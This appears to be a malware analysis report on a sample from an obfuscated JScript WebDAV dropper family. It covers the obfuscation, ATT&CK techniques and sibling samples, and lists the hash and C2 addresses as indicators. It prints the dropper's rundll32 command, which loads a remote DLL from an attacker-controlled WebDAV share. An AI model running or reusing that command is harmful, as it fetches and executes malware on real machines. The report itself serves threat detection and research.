> Analysis · f346e80d14c2_

~/packetpursuit $ cat /intel/analyses/f346e80d14c2.../report.md

typeanalysisfamilyunclassified-js-webdav-dropperconfidencehighcreated2026-07-22
SHA-256: f346e80d14c241f4d015911188f474a9ce8f8aad603413b36107c281899fbc39

Overview

Eighty-eighth confirmed sibling in the unclassified-js-webdav-dropper cluster. JScript dictionary lookup-table obfuscation (62 entries, random noise keys, 3,395-character extreme variable-name padding), WebDAV C2 94.159.113.86:8888 (single domain), payload 1419215022203.dll, rundll32 ...,Entry execution, no PowerShell wrapper, no wordpad decoy, no sandbox gate, no nested try/catch decoys. Static-only (JScript, not a binary).

Build / RE

  • Language: JScript (Windows Script Host). ^[file.txt]
  • Obfuscation: Dictionary lookup-table (62 entries, random noise keys, gddcnkmdchhlyhacmmdn... object name, 3,395 characters). ^[floss.txt:67] Fourth-longest variable name in family. Same dialect as dfb1eb98 (81st, 3,787 chars), f2316aaf (87th, 3,451 chars), dbdb99f1 (78th, 2,337 chars).
  • Execution chain: rundll32 \\94.159.113.86@8888\DavWWWRoot\1419215022203.dll,Entry ^[floss.txt:67] — shares rundll32 ...,Entry with ff3c6d0c (69th), dbdb99f1 (78th), dfb1eb98 (81st), f2316aaf (87th) on same 94.159.113.x subnet.
  • No PowerShell wrapper, no wordpad decoy, no timeout gate, no nested try/catch decoys, no batch/polyglot layer, no self-replication. Minimal execution footprint.
  • Anti-analysis: None observed.
  • Code quality: Low — hand-written, repetitive, lacks commercial obfuscator signatures.

Deploy / ATT&CK

Tactic Technique Evidence
Execution T1059.005 (Visual Basic / JScript) .js file opened by user ^[file.txt]
Defense Evasion T1218 (System Binary Proxy Execution) rundll32 proxy execution of remote DLL ^[floss.txt:67]
Defense Evasion T1027 (Obfuscated Files or Information) 62-entry noise-key dictionary, 3,395-char variable name ^[floss.txt:67]
Command & Control T1071.001 (Web Protocols) WebDAV over HTTP \\94.159.113.86@8888\DavWWWRoot\ ^[floss.txt:67]
Command & Control T1105 (Ingress Tool Transfer) WebDAV share mount + remote DLL fetch via rundll32 ^[floss.txt:67]

Sibling Comparison

Sibling Var-name len Dictionary Execution C2
f2316aaf (87th) 3,451 62 noise rundll32 ...,Entry 94.159.113.86:8888
f346e80d (88th) 3,395 62 noise rundll32 ...,Entry 94.159.113.86:8888
dfb1eb98 (81st) 3,787 62 noise rundll32 ...,Entry 94.159.113.82:8888

See Also